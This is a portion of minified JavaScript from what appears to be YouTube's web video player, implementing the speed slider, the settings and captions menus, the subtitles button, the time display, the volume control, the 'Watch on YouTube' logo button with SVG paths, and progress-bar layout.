g.q.n6=function(x){var T=this.C;T+=(x.deltaX||-x.deltaY)<0?-this.S:this.S;this.Sy(T);x.preventDefault()};
g.q.gS=function(x){x=(x-g.R_(this.K).x)/this.ZZ*this.range+this.Z;this.Sy(x)};
g.q.Sy=function(x,T){T=T===void 0?"":T;x=g.iu(x,this.Z,this.j);T===""&&(T=x.toString());this.updateValue("valuenow",x);this.updateValue("valuetext",T);this.jY.style.left=(x-this.Z)/this.range*(this.ZZ-this.Om)+"px";this.C=x};
g.q.focus=function(){this.hQ.focus()};g.P(Ro,AN);Ro.prototype.uG=function(){this.U.setPlaybackRate(this.C,!0)};
Ro.prototype.Sy=function(x){AN.prototype.Sy.call(this,x,mem(this,x).toString());this.D&&(lq4(this),this.Hv())};
Ro.prototype.updateValues=function(){var x=this.U.getPlaybackRate();mem(this,this.C)!==x&&(this.Sy(x),lq4(this))};g.P(de3,g.qS);de3.prototype.focus=function(){this.C.focus()};g.P(MBH,Bk);g.P(AVi,g.wk);g.q=AVi.prototype;g.q.uM=function(x){return x==="1"?"Normal":x.toLocaleString()};
g.q.Nj=function(){var x,T=(x=this.U.getVideoData())==null?void 0:x.Ty();x=this.U.getPresentingPlayerType(T);this.enable(x!==2&&x!==3);cV5(this)};
g.q.x$=function(x){g.wk.prototype.x$.call(this,x);this.N&&this.N.C.focus()};
g.q.GN=function(x){g.wk.prototype.GN.call(this,x);x?(this.ZZ=this.V(this.U,"onPlaybackRateChange",this.onPlaybackRateChange),cV5(this),PT3(this,this.U.getPlaybackRate())):(this.f2(this.ZZ),this.ZZ=null)};
g.q.onPlaybackRateChange=function(x){var T=this.U.getPlaybackRate();!this.D&&this.S.includes(T)||Sav(this,T);PT3(this,x)};
g.q.Wr=function(x,T,t){return x===this.C&&Yam(this.U)?g.wk.prototype.Wr.call(this,x,T,t,{L:"div",G:"ytp-speed-slider-menu-footer",W:[this.N]}):g.wk.prototype.Wr.call(this,x,T,t)};
g.q.Uo=function(x){g.wk.prototype.Uo.call(this,x);x===this.C?this.U.setPlaybackRate(this.K,!0):this.U.setPlaybackRate(Number(x),!0);Yam(this.U)&&x===this.C||this.If.LU()};
g.q.JU=function(x){var T=x===this.C;this.D=!1;T&&Pn(this.U)&&!Yam(this.U)?(x=new MBH(this.U),g.N3(this.If,x)):g.wk.prototype.JU.call(this,x)};g.P(buJ,g.wk);g.q=buJ.prototype;g.q.Mm=function(x){g.wk.prototype.Mm.call(this,x)};
g.q.bX=function(x){return x.option.toString()};
g.q.getOption=function(x){return this.settings[x]};
g.q.uM=function(x){return this.getOption(x).text||""};
g.q.Uo=function(x){g.wk.prototype.Uo.call(this,x);this.publish("settingChange",this.setting,this.settings[x].option)};g.P(S6,g.Wk);S6.prototype.Tc=function(x){for(var T=g.S(Object.keys(x)),t=T.next();!t.done;t=T.next()){var u=t.value;if(t=this.VW[u]){var H=x[u].toString();u=!!x[u+"Override"];t.options[H]&&(t.Mm(H),t.K.element.setAttribute("aria-checked",String(!u)),t.C.element.setAttribute("aria-checked",String(u)))}}};
S6.prototype.Fh=function(x,T){this.publish("settingChange",x,T)};g.P(cn,g.wk);cn.prototype.C=function(x){return x.languageCode};
cn.prototype.uM=function(x){return this.languages[x].languageName||""};
cn.prototype.Uo=function(x){this.publish("select",x);this.U.logClick(this.element);g.J6(this.If)};g.P(kcD,g.wk);g.q=kcD.prototype;g.q.wA=function(x){return g.z0(x)?"__off__":x.displayName};
g.q.uM=function(x){return x==="__off__"?"Off":x==="__translate__"?"Auto-translate":x==="__contribute__"?"Add subtitles/CC":x==="__correction__"?"Suggest caption corrections":(x==="__off__"?{}:this.tracks[x]).displayName};
g.q.Uo=function(x){if(x==="__translate__")this.C.open();else if(x==="__contribute__"){this.U.pauseVideo();this.U.isFullscreen()&&this.U.toggleFullscreen();var T=g.aa(this.U.Y(),this.U.getVideoData());g.Dy(T)}else if(x==="__correction__"){this.U.pauseVideo();this.U.isFullscreen()&&this.U.toggleFullscreen();var t=FyD(this);Yp(this,t);g.wk.prototype.Uo.call(this,this.wA(t));var u,H;t=(T=this.U.getVideoData().getPlayerResponse())==null?void 0:(u=T.captions)==null?void 0:(H=u.playerCaptionsTracklistRenderer)==
null?void 0:H.openTranscriptCommand;this.U.XW("innertubeCommand",t);this.If.LU();this.K&&this.U.logClick(this.K)}else{if(x==="__correction__"){this.U.pauseVideo();this.U.isFullscreen()&&this.U.toggleFullscreen();T=FyD(this);Yp(this,T);g.wk.prototype.Uo.call(this,this.wA(T));var I,E;T=(t=this.U.getVideoData().getPlayerResponse())==null?void 0:(I=t.captions)==null?void 0:(E=I.playerCaptionsTracklistRenderer)==null?void 0:E.openTranscriptCommand;this.U.XW("innertubeCommand",T)}else this.U.logClick(this.element),
Yp(this,x==="__off__"?{}:this.tracks[x]),g.wk.prototype.Uo.call(this,x);this.If.LU()}};
g.q.Nj=function(){var x=this.U.getOptions();x=x&&x.indexOf("captions")!==-1;var T=this.U.getVideoData(),t=T&&T.Pl,u,H=!((u=this.U.getVideoData())==null||!g.Km(u));u={};if(x||t){var I;if(x){var E=this.U.getOption("captions","track");u=this.U.getOption("captions","tracklist",{includeAsr:!0});var Z=H?[]:this.U.getOption("captions","translationLanguages");this.tracks=g.mu(u,this.wA,this);H=g.r7(u,this.wA);var e,l;FyD(this)&&((I=T.getPlayerResponse())==null?0:(e=I.captions)==null?0:(l=e.playerCaptionsTracklistRenderer)==
null?0:l.openTranscriptCommand)&&H.push("__correction__");if(Z.length&&!g.z0(E)){if((I=E.translationLanguage)&&I.languageName){var m=I.languageName;I=Z.findIndex(function(d){return d.languageName===m});
sPq(Z,I)}rVH(this.C,Z);H.push("__translate__")}I=this.wA(E)}else this.tracks={},H=[],I="__off__";H.unshift("__off__");this.tracks.__off__={};t&&H.unshift("__contribute__");this.tracks[I]||(this.tracks[I]=E,H.push(I));this.x$(H);this.Mm(I);E&&E.translationLanguage?this.C.Mm(this.C.C(E.translationLanguage)):qlD(this.C);x&&this.D.Tc(this.U.getSubtitlesUserSettings());this.countLabel.Zn(u&&u.length?" ("+u.length+")":"");this.publish("size-change");this.U.logVisibility(this.element,!0);this.enable(!0)}else this.enable(!1)};
g.q.cn=function(x){var T=this.U.getOption("captions","track");T=g.hq(T);T.translationLanguage=this.C.languages[x];Yp(this,T)};
g.q.Fh=function(x,T){if(x==="reset")this.U.resetSubtitlesUserSettings();else{var t={};t[x]=T;this.U.updateSubtitlesUserSettings(t)}zZJ(this,!0);this.N.start();this.D.Tc(this.U.getSubtitlesUserSettings())};
g.q.mI9=function(x){x||g.xP(this.N)};
g.q.oU=function(){g.xP(this.N);g.wk.prototype.oU.call(this)};
g.q.open=function(){g.wk.prototype.open.call(this);this.options.__correction__&&!this.K&&(this.K=this.options.__correction__.element,this.U.createClientVe(this.K,this,167341),this.U.logVisibility(this.K,!0))};g.P(hZ5,g.yY);g.q=hZ5.prototype;
g.q.initialize=function(){if(!this.isInitialized){var x=this.U.Y();this.isInitialized=!0;try{this.qt=new iui(this.U,this)}catch(t){g.Vh(Error("QualityMenuItem creation failed"))}g.y(this,this.qt);var T=new kcD(this.U,this);g.y(this,T);x.j||(T=new e6(this.U,this),g.y(this,T));x.enableSpeedOptions&&(T=new AVi(this.U,this),g.y(this,T));(g.zw(x)||x.D)&&(x.Z||x.G9)&&(T=new Hui(this.U,this),g.y(this,T));x.L4&&!x.B("web_player_move_autonav_toggle")&&(x=new ma(this.U,this),g.y(this,x));x=new ld(this.U,this);
g.y(this,x);this.U.publish("settingsMenuInitialized");$em(this.settingsButton,this.PS.hs())}};
g.q.NU=function(x){this.initialize();this.PS.NU(x);$em(this.settingsButton,this.PS.hs())};
g.q.FY=function(x){this.lN&&this.PS.hs()<=1&&this.hide();this.PS.FY(x);$em(this.settingsButton,this.PS.hs())};
g.q.tq=function(x){this.initialize();this.PS.hs()>0&&g.yY.prototype.tq.call(this,x)};
g.q.nz=function(){this.Dv?this.Dv=!1:g.yY.prototype.nz.call(this)};
g.q.show=function(){g.yY.prototype.show.call(this);g.uY(this.U.getRootNode(),"ytp-settings-shown")};
g.q.hide=function(){g.yY.prototype.hide.call(this);g.H$(this.U.getRootNode(),"ytp-settings-shown")};
g.q.oH=function(x){this.U.logVisibility(this.element,x);this.U.publish("settingsMenuVisibilityChanged",x)};g.P(VBJ,g.Q);g.q=VBJ.prototype;g.q.onClick=function(){if(GcV(this)&&(this.U.toggleSubtitles(),this.U.logClick(this.element),!this.isEnabled())){var x=!1,T=g.Wc(g.Bc(),65);g.f1(this.U.Y())&&T!=null&&(x=!T);x&&this.U.Y().B("web_player_nitrate_promo_tooltip")&&this.U.publish("showpromotooltip",this.element)}};
g.q.oxW=function(x){var T,t;(T=g.lh(this.U))==null||(t=T.cw())==null||t.tq(x)};
g.q.isEnabled=function(){return!!this.U.getOption("captions","track").displayName};
g.q.Nj=function(){var x=GcV(this),T=300;this.U.Y().J&&(T=480);if(this.U.Y().D){this.updateValue("title",g.Yh(this.U,"Subtitles/closed captions","c"));this.update({"data-title-no-tooltip":"Subtitles/closed captions"});var t=x}else{if(x)(t=this.Um("ytp-subtitles-button-icon"))==null||t.setAttribute("fill-opacity","1"),this.updateValue("title",g.Yh(this.U,"Subtitles/closed captions","c")),this.update({"data-title-no-tooltip":"Subtitles/closed captions"});else{var u;(u=this.Um("ytp-subtitles-button-icon"))==
null||u.setAttribute("fill-opacity","0.3");this.updateValue("title","Subtitles/closed captions unavailable");this.update({"data-title-no-tooltip":"Subtitles/closed captions unavailable"})}t=!0}this.tooltip.Kd();t=t&&this.U.bG().getPlayerSize().width>=T;this.ou(t);this.U.B("embeds_use_parent_visibility_in_ve_logging")?this.U.logVisibility(this.element,t&&this.T):this.U.logVisibility(this.element,t);x?this.updateValue("pressed",this.isEnabled()):this.updateValue("pressed",!1)};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);this.U.Y().B("embeds_use_parent_visibility_in_ve_logging")&&this.U.logVisibility(this.element,this.lN&&x)};g.P(g.UQ,g.Q);g.q=g.UQ.prototype;
g.q.Bk=function(){var x=this.api.bG().getPlayerSize().width,T=this.S;this.api.Y().J&&(T=400);T=x>=T&&(!bd(this)||!g.p(this.api.getPlayerStateObject(),64));this.ou(T);g.Ic(this.element,"ytp-time-display-allow-autohide",T&&x<400);x=this.api.getProgressState();if(T){T=this.api.getPresentingPlayerType();var t=this.api.getCurrentTime(T,!1);this.Z&&(t-=x.airingStart);rq(this)&&(t-=this.TI.startTimeMs/1E3);rq(this)||bd(this)||!this.j||(t=this.api.getDuration(T,!1)-t);t=g.S1(t);this.K!==t&&(this.updateValue("currenttime",
t),this.K=t);T=rq(this)?g.S1((this.TI.endTimeMs-this.TI.startTimeMs)/1E3):g.S1(this.api.getDuration(T,!1));this.D!==T&&(this.updateValue("duration",T),this.D=T)}Lyf(this,x.isAtLiveHead);nk5(this,this.api.getLoopRange())};
g.q.onLoopRangeChange=function(x){var T=this.TI!==x;this.TI=x;T&&(this.Bk(),aqq(this))};
g.q.lxU=function(){this.api.setLoopRange(null)};
g.q.znf=function(){this.j=!this.j;this.Bk()};
g.q.onVideoDataChange=function(x,T,t){this.updateVideoData((this.api.Y().B("enable_topsoil_wta_for_halftime")||this.api.Y().B("enable_topsoil_wta_for_halftime_live_infra"))&&t===2?this.api.getVideoData(1):T);this.Bk();aqq(this)};
g.q.updateVideoData=function(x){this.r6=x.isLivePlayback&&!x.SY;this.Z=xh(x);this.isPremiere=x.isPremiere;g.Ic(this.element,"ytp-live",bd(this))};
g.q.onClick=function(x){x.target===this.liveBadge.element&&(this.api.seekTo(Infinity,void 0,void 0,void 0,33),this.api.playVideo())};
g.q.oU=function(){this.C&&this.C();g.Q.prototype.oU.call(this)};g.P(Btf,g.Q);g.q=Btf.prototype;g.q.UR=function(){var x=this.api.ew();this.j!==x&&(this.j=x,gkv(this,this.api.getVolume(),this.api.isMuted()))};
g.q.Cp=function(x){this.ou(x.width>=350)};
g.q.Na=function(x){if(!x.defaultPrevented){var T=x.keyCode,t=null;T===37?t=this.volume-5:T===39?t=this.volume+5:T===36?t=0:T===35&&(t=100);t!==null&&(t=g.iu(t,0,100),t===0?this.api.mute():(this.api.isMuted()&&this.api.unMute(),this.api.setVolume(t)),x.preventDefault())}};
g.q.qa=function(x){var T=x.deltaX||-x.deltaY;x.deltaMode?this.api.setVolume(this.volume+(T<0?-10:10)):this.api.setVolume(this.volume+g.iu(T/10,-10,10));x.preventDefault()};
g.q.v6u=function(){zv(this,this.C,!0,this.Z,this.api.mZ());this.S=this.volume;this.api.isMuted()&&this.api.unMute()};
g.q.FX=function(x){var T=this.j?78:52,t=this.j?18:12;x-=g.R_(this.J).x;this.api.setVolume(g.iu((x-t/2)/(T-t),0,1)*100)};
g.q.XtY=function(){zv(this,this.C,!1,this.Z,this.api.mZ());this.volume===0&&(this.api.mute(),this.api.setVolume(this.S))};
g.q.onVolumeChange=function(x){gkv(this,x.volume,x.muted)};
g.q.hk=function(){zv(this,this.C,this.isDragging,this.Z,this.api.mZ())};
g.q.oU=function(){g.Q.prototype.oU.call(this);g.H$(this.N,"ytp-volume-slider-active")};g.P(kp,g.Q);
kp.prototype.onVideoDataChange=function(){var x=this.api.Y();this.C2();this.visible=!!this.api.getVideoData().videoId&&!g.Tt(this.api.getVideoData(1));this.ou(this.visible);this.api.logVisibility(this.element,this.visible&&this.T);if(this.visible){var T=this.api.getVideoUrl(!0,!1,!1,!0);this.updateValue("url",T)}x.j&&(this.C&&(this.f2(this.C),this.C=null),this.element.removeAttribute("href"),this.element.removeAttribute("title"),this.element.removeAttribute("aria-label"),g.uY(this.element,"no-link"));
T=this.api.Y();x=this.api.getVideoData();var t="";T.j||(T=g.JF(T),T.indexOf("www.")===0&&(T=T.substring(4)),t=g.tW(x)?"Watch on YouTube Music":T==="youtube.com"?"Watch on YouTube":g.MA("Watch on $WEBSITE",{WEBSITE:T}));this.updateValue("title",t)};
kp.prototype.onClick=function(x){this.api.B("web_player_log_click_before_generating_ve_conversion_params")&&this.api.logClick(this.element);var T=this.api.Y(),t=this.api.getVideoUrl(!g.cu(x),!1,!0,!0);if(g.zw(T)){var u={};g.zw(T)&&g.ET(this.api,"addEmbedsConversionTrackingParams",[u]);t=g.NY(t,u)}g.uL(t,this.api,x);this.api.B("web_player_log_click_before_generating_ve_conversion_params")||this.api.logClick(this.element)};
kp.prototype.C2=function(){var x={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 67 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 45.09 10 L 45.09 25.82 L 47.16 25.82 L 47.41 24.76 L 47.47 24.76 C 47.66 25.14 47.94 25.44 48.33 25.66 C 48.72 25.88 49.16 25.99 49.63 25.99 C 50.48 25.99 51.1 25.60 51.5 24.82 C 51.9 24.04 52.09 22.82 52.09 21.16 L 52.09 19.40 C 52.12 18.13 52.05 17.15 51.90 16.44 C 51.75 15.74 51.50 15.23 51.16 14.91 C 50.82 14.59 50.34 14.44 49.75 14.44 C 49.29 14.44 48.87 14.57 48.47 14.83 C 48.27 14.96 48.09 15.11 47.93 15.29 C 47.78 15.46 47.64 15.65 47.53 15.86 L 47.51 15.86 L 47.51 10 L 45.09 10 z M 8.10 10.56 L 10.96 20.86 L 10.96 25.82 L 13.42 25.82 L 13.42 20.86 L 16.32 10.56 L 13.83 10.56 L 12.78 15.25 C 12.49 16.62 12.31 17.59 12.23 18.17 L 12.16 18.17 C 12.04 17.35 11.84 16.38 11.59 15.23 L 10.59 10.56 L 8.10 10.56 z M 30.10 10.56 L 30.10 12.58 L 32.59 12.58 L 32.59 25.82 L 35.06 25.82 L 35.06 12.58 L 37.55 12.58 L 37.55 10.56 L 30.10 10.56 z M 19.21 14.46 C 18.37 14.46 17.69 14.63 17.17 14.96 C 16.65 15.29 16.27 15.82 16.03 16.55 C 15.79 17.28 15.67 18.23 15.67 19.43 L 15.67 21.06 C 15.67 22.24 15.79 23.19 16 23.91 C 16.21 24.62 16.57 25.15 17.07 25.49 C 17.58 25.83 18.27 26 19.15 26 C 20.02 26 20.69 25.83 21.19 25.5 C 21.69 25.17 22.06 24.63 22.28 23.91 C 22.51 23.19 22.63 22.25 22.63 21.06 L 22.63 19.43 C 22.63 18.23 22.50 17.28 22.27 16.56 C 22.04 15.84 21.68 15.31 21.18 14.97 C 20.68 14.63 20.03 14.46 19.21 14.46 z M 56.64 14.47 C 55.39 14.47 54.51 14.84 53.99 15.61 C 53.48 16.38 53.22 17.60 53.22 19.27 L 53.22 21.23 C 53.22 22.85 53.47 24.05 53.97 24.83 C 54.34 25.40 54.92 25.77 55.71 25.91 C 55.97 25.96 56.26 25.99 56.57 25.99 C 57.60 25.99 58.40 25.74 58.96 25.23 C 59.53 24.72 59.81 23.94 59.81 22.91 C 59.81 22.74 59.79 22.61 59.78 22.51 L 57.63 22.39 C 57.62 23.06 57.54 23.54 57.40 23.83 C 57.26 24.12 57.01 24.27 56.63 24.27 C 56.35 24.27 56.13 24.18 56.00 24.02 C 55.87 23.86 55.79 23.61 55.75 23.25 C 55.71 22.89 55.68 22.36 55.68 21.64 L 55.68 21.08 L 59.86 21.08 L 59.86 19.16 C 59.86 17.99 59.77 17.08 59.58 16.41 C 59.39 15.75 59.07 15.25 58.61 14.93 C 58.15 14.62 57.50 14.47 56.64 14.47 z M 23.92 14.67 L 23.92 23.00 C 23.92 24.03 24.11 24.79 24.46 25.27 C 24.82 25.76 25.35 26.00 26.09 26.00 C 27.16 26.00 27.97 25.49 28.5 24.46 L 28.55 24.46 L 28.76 25.82 L 30.73 25.82 L 30.73 14.67 L 28.23 14.67 L 28.23 23.52 C 28.13 23.73 27.97 23.90 27.77 24.03 C 27.57 24.16 27.37 24.24 27.15 24.24 C 26.89 24.24 26.70 24.12 26.59 23.91 C 26.48 23.70 26.43 23.35 26.43 22.85 L 26.43 14.67 L 23.92 14.67 z M 36.80 14.67 L 36.80 23.00 C 36.80 24.03 36.98 24.79 37.33 25.27 C 37.60 25.64 37.97 25.87 38.45 25.96 C 38.61 25.99 38.78 26.00 38.97 26.00 C 40.04 26.00 40.83 25.49 41.36 24.46 L 41.41 24.46 L 41.64 25.82 L 43.59 25.82 L 43.59 14.67 L 41.09 14.67 L 41.09 23.52 C 40.99 23.73 40.85 23.90 40.65 24.03 C 40.45 24.16 40.23 24.24 40.01 24.24 C 39.75 24.24 39.58 24.12 39.47 23.91 C 39.36 23.70 39.31 23.35 39.31 22.85 L 39.31 14.67 L 36.80 14.67 z M 56.61 16.15 C 56.88 16.15 57.08 16.23 57.21 16.38 C 57.33 16.53 57.42 16.79 57.47 17.16 C 57.52 17.53 57.53 18.06 57.53 18.78 L 57.53 19.58 L 55.69 19.58 L 55.69 18.78 C 55.69 18.05 55.71 17.52 55.75 17.16 C 55.79 16.81 55.87 16.55 56.00 16.39 C 56.13 16.23 56.32 16.15 56.61 16.15 z M 19.15 16.19 C 19.50 16.19 19.75 16.38 19.89 16.75 C 20.03 17.12 20.09 17.7 20.09 18.5 L 20.09 21.97 C 20.09 22.79 20.03 23.39 19.89 23.75 C 19.75 24.11 19.51 24.29 19.15 24.30 C 18.80 24.30 18.54 24.11 18.41 23.75 C 18.28 23.39 18.22 22.79 18.22 21.97 L 18.22 18.5 C 18.22 17.7 18.28 17.12 18.42 16.75 C 18.56 16.38 18.81 16.19 19.15 16.19 z M 48.63 16.22 C 48.88 16.22 49.08 16.31 49.22 16.51 C 49.36 16.71 49.45 17.05 49.50 17.52 C 49.55 17.99 49.58 18.68 49.58 19.55 L 49.58 21 L 49.59 21 C 49.59 21.81 49.57 22.45 49.5 22.91 C 49.43 23.37 49.32 23.70 49.16 23.89 C 49.00 24.08 48.78 24.17 48.51 24.17 C 48.30 24.17 48.11 24.12 47.94 24.02 C 47.76 23.92 47.62 23.78 47.51 23.58 L 47.51 17.25 C 47.59 16.95 47.75 16.70 47.96 16.50 C 48.17 16.31 48.39 16.22 48.63 16.22 z "}}]},
T=28666,t=this.api.getVideoData();this.api.isEmbedsShortsMode()?x={L:"svg",X:{fill:"none",height:"100%",viewBox:"-10 -8 67 36",width:"100%"},W:[{L:"path",X:{d:"m.73 13.78 2.57-.05c-.05 2.31.36 3.04 1.34 3.04.95 0 1.34-.61 1.34-1.88 0-1.88-.97-2.83-2.37-4.04C1.47 8.99.55 7.96.55 5.23c0-2.60 1.15-4.14 4.17-4.14 2.91 0 4.12 1.70 3.71 5.20l-2.57.15c.05-2.39-.20-3.22-1.26-3.22-.97 0-1.31.64-1.31 1.82 0 1.77.74 2.31 2.34 3.84 1.98 1.88 3.09 2.98 3.09 5.54 0 3.24-1.26 4.48-4.20 4.48-3.06.02-4.30-1.62-3.78-5.12ZM9.67.74h2.83V4.58c0 1.15-.05 1.95-.15 2.93h.05c.54-1.15 1.44-1.75 2.60-1.75 1.75 0 2.5 1.23 2.5 3.35v9.53h-2.83V9.32c0-1.03-.25-1.54-.90-1.54-.48 0-.92.28-1.23.79V18.65H9.70V.74h-.02ZM18.67 13.27v-1.82c0-4.07 1.18-5.64 3.99-5.64 2.80 0 3.86 1.62 3.86 5.64v1.82c0 3.96-1.00 5.59-3.94 5.59-2.98 0-3.91-1.67-3.91-5.59Zm5 1.03v-3.94c0-1.72-.25-2.60-1.08-2.60-.79 0-1.05.87-1.05 2.60v3.94c0 1.80.25 2.62 1.05 2.62.82 0 1.08-.82 1.08-2.62ZM27.66 6.03h2.19l.25 2.73h.10c.28-2.01 1.21-3.01 2.39-3.01.15 0 .30.02.51.05l-.15 3.27c-1.18-.25-2.13-.05-2.57.72V18.63h-2.73V6.03ZM34.80 15.67V8.27h-1.03V6.05h1.15l.36-3.73h2.11V6.05h1.93v2.21h-1.80v6.98c0 1.18.15 1.44.61 1.44.41 0 .77-.05 1.10-.18l.36 1.80c-.85.41-1.93.54-2.60.54-1.82-.02-2.21-.97-2.21-3.19ZM40.26 14.81l2.39-.05c-.12 1.39.36 2.19 1.21 2.19.72 0 1.13-.46 1.13-1.10 0-.87-.79-1.46-2.16-2.5-1.62-1.23-2.60-2.16-2.60-4.20 0-2.24 1.18-3.32 3.63-3.32 2.60 0 3.63 1.28 3.42 4.35l-2.39.10c-.02-1.90-.28-2.44-1.08-2.44-.77 0-1.10.38-1.10 1.08 0 .97.56 1.44 1.49 2.11 2.21 1.64 3.24 2.47 3.24 4.53 0 2.26-1.28 3.40-3.73 3.40-2.78-.02-3.81-1.54-3.45-4.14Z",
fill:"#fff"}}]}:g.tW(t)&&(x={L:"svg",X:{fill:"none",height:"25",viewBox:"0 0 140 25",width:"140"},W:[{L:"path",X:{d:"M33.96 20.91V15.45L37.43 4.11H34.84L33.52 9.26C33.22 10.44 32.95 11.67 32.75 12.81H32.59C32.48 11.81 32.16 10.50 31.84 9.24L30.56 4.11H27.97L31.39 15.45V20.91H33.96Z",fill:"white"}},{L:"path",X:{d:"M40.92 8.31C37.89 8.31 36.85 10.06 36.85 13.83V15.62C36.85 19.00 37.50 21.12 40.86 21.12C44.17 21.12 44.88 19.10 44.88 15.62V13.83C44.88 10.46 44.20 8.31 40.92 8.31ZM42.21 16.73C42.21 18.37 41.92 19.40 40.87 19.40C39.84 19.40 39.55 18.36 39.55 16.73V12.69C39.55 11.29 39.75 10.04 40.87 10.04C42.05 10.04 42.21 11.36 42.21 12.69V16.73Z",
fill:"white"}},{L:"path",X:{d:"M49.09 21.10C50.55 21.10 51.46 20.49 52.21 19.39H52.32L52.43 20.91H54.42V8.55H51.78V18.48C51.50 18.97 50.85 19.33 50.24 19.33C49.47 19.33 49.23 18.72 49.23 17.70V8.55H46.60V17.82C46.60 19.83 47.18 21.10 49.09 21.10Z",fill:"white"}},{L:"path",X:{d:"M59.64 20.91V6.16H62.68V4.11H53.99V6.16H57.03V20.91H59.64Z",fill:"white"}},{L:"path",X:{d:"M64.69 21.10C66.15 21.10 67.06 20.49 67.81 19.39H67.92L68.03 20.91H70.02V8.55H67.38V18.48C67.10 18.97 66.45 19.33 65.84 19.33C65.07 19.33 64.83 18.72 64.83 17.70V8.55H62.20V17.82C62.20 19.83 62.78 21.10 64.69 21.10Z",
fill:"white"}},{L:"path",X:{d:"M77.49 8.28C76.21 8.28 75.29 8.84 74.68 9.75H74.55C74.63 8.55 74.69 7.53 74.69 6.72V3.45H72.14L72.13 14.19L72.14 20.91H74.36L74.55 19.71H74.62C75.21 20.52 76.12 21.03 77.33 21.03C79.34 21.03 80.20 19.30 80.20 15.62V13.71C80.20 10.27 79.81 8.28 77.49 8.28ZM77.58 15.62C77.58 17.92 77.24 19.29 76.17 19.29C75.67 19.29 74.98 19.05 74.67 18.60V11.25C74.94 10.55 75.54 10.04 76.21 10.04C77.29 10.04 77.58 11.35 77.58 13.74V15.62Z",fill:"white"}},{L:"path",X:{d:"M89.47 13.51C89.47 10.53 89.17 8.32 85.74 8.32C82.51 8.32 81.79 10.47 81.79 13.63V15.80C81.79 18.88 82.45 21.12 85.66 21.12C88.20 21.12 89.51 19.85 89.36 17.39L87.11 17.27C87.08 18.79 86.73 19.41 85.72 19.41C84.45 19.41 84.39 18.20 84.39 16.40V15.56H89.47V13.51ZM85.68 9.98C86.90 9.98 86.99 11.13 86.99 13.08V14.09H84.39V13.08C84.39 11.15 84.47 9.98 85.68 9.98Z",
fill:"white"}},{L:"path",X:{d:"M93.18 20.86H95.50V13.57C95.50 11.53 95.46 9.36 95.30 6.46H95.56L95.99 8.24L98.73 20.86H101.09L103.78 8.24L104.25 6.46H104.49C104.37 9.03 104.30 11.35 104.30 13.57V20.86H106.63V4.06H102.67L101.25 10.27C100.65 12.85 100.22 16.05 99.97 17.68H99.78C99.60 16.02 99.15 12.83 98.56 10.29L97.10 4.06H93.18V20.86Z",fill:"white"}},{L:"path",X:{d:"M111.27 21.05C112.73 21.05 113.64 20.44 114.39 19.34H114.50L114.61 20.86H116.60V8.50H113.96V18.43C113.68 18.92 113.03 19.28 112.42 19.28C111.65 19.28 111.41 18.67 111.41 17.65V8.50H108.78V17.77C108.78 19.78 109.36 21.05 111.27 21.05Z",
fill:"white"}},{L:"path",X:{d:"M121.82 21.12C124.24 21.12 125.59 20.05 125.59 17.86C125.59 15.87 124.59 15.06 122.21 13.44C121.12 12.72 120.53 12.27 120.53 11.21C120.53 10.42 121.02 10.00 121.91 10.00C122.88 10.00 123.21 10.64 123.25 12.46L125.41 12.34C125.59 9.49 124.57 8.27 121.95 8.27C119.47 8.27 118.28 9.34 118.28 11.46C118.28 13.42 119.21 14.31 120.96 15.53C122.51 16.60 123.36 17.27 123.36 18.16C123.36 18.89 122.85 19.42 121.96 19.42C120.94 19.42 120.36 18.54 120.46 17.21L118.27 17.25C117.93 19.81 119.13 21.12 121.82 21.12Z",
fill:"white"}},{L:"path",X:{d:"M128.45 6.93C129.35 6.93 129.77 6.63 129.77 5.39C129.77 4.23 129.32 3.87 128.45 3.87C127.57 3.87 127.14 4.19 127.14 5.39C127.14 6.63 127.55 6.93 128.45 6.93ZM127.23 20.86H129.76V8.50H127.23V20.86Z",fill:"white"}},{L:"path",X:{d:"M135.41 21.06C136.67 21.06 137.38 20.91 137.95 20.37C138.80 19.63 139.15 18.48 139.09 16.54L136.78 16.42C136.78 18.54 136.44 19.34 135.45 19.34C134.36 19.34 134.18 18.15 134.18 15.99V13.43C134.18 11.07 134.41 9.95 135.47 9.95C136.35 9.95 136.70 10.69 136.70 13.05L138.99 12.89C139.15 11.20 138.98 9.82 138.18 9.05C137.58 8.49 136.69 8.27 135.51 8.27C132.48 8.27 131.54 10.19 131.54 13.84V15.53C131.54 19.18 132.25 21.06 135.41 21.06Z",
fill:"white"}}]},T=216163);g.tW(t)?g.uY(this.element,"ytp-youtube-music-button"):g.H$(this.element,"ytp-youtube-music-button");x.X=Object.assign({},x.X,{"aria-hidden":"true"});this.updateValue("logoSvg",x);this.api.hasVe(this.element)&&this.api.destroyVe(this.element);this.api.createClientVe(this.element,this,T,!0)};
kp.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.element,this.visible&&x)};g.P(Dei,g.nj);g.q=Dei.prototype;g.q.Yg=function(){if(this.U.B("web_player_max_seekable_on_ended")||!g.p(this.U.getPlayerStateObject(),2))this.progressBar.Bk(),this.Om.Bk()};
g.q.WJ=function(){this.DB();this.vU.Z?this.Yg():this.progressBar.P_()};
g.q.Gh=function(){this.Yg();this.J.start()};
g.q.DB=function(){var x;if(x=!this.U.Y().Z){x=this.progressBar;var T=2*g.O0()*x.D;x=x.j.getLength()*1E3/x.api.getPlaybackRate()/T<300}x=x&&this.U.getPlayerStateObject().isPlaying()&&!!window.requestAnimationFrame;T=!x;this.vU.Z||(x=T=!1);T?this.jY||(this.jY=this.V(this.U,"progresssync",this.Yg)):this.jY&&(this.f2(this.jY),this.jY=null);x?this.J.isActive()||this.J.start():this.J.stop()};
g.q.C2=function(){var x=this.U.ew(),T=this.U.bG().getPlayerSize(),t=Ntv(this),u=Math.max(T.width-t*2,100);if(this.Cz!==T.width||this.Ee!==x){this.Cz=T.width;this.Ee=x;var H=JVH(this);this.K.element.style.width=H+"px";this.K.element.style.left=t+"px";g.okq(this.progressBar,t,H,x);this.U.lD().Ex=H}t=this.j;u=Math.min(570*(x?1.5:1),u);x=Math.min(413*(x?1.5:1),Math.round((T.height-CTH(this))*.82));t.maxWidth=u;t.maxHeight=x;t.Ef();this.DB();this.U.Y().B("html5_player_dynamic_bottom_gradient")&&KRV(this.SY,
T.height)};
g.q.onVideoDataChange=function(){var x=this.U.getVideoData();this.G9.style.background=x.E0?x.O9:"";this.ZZ&&sWi(this.ZZ,x.showSeekingControls);this.S&&sWi(this.S,x.showSeekingControls)};
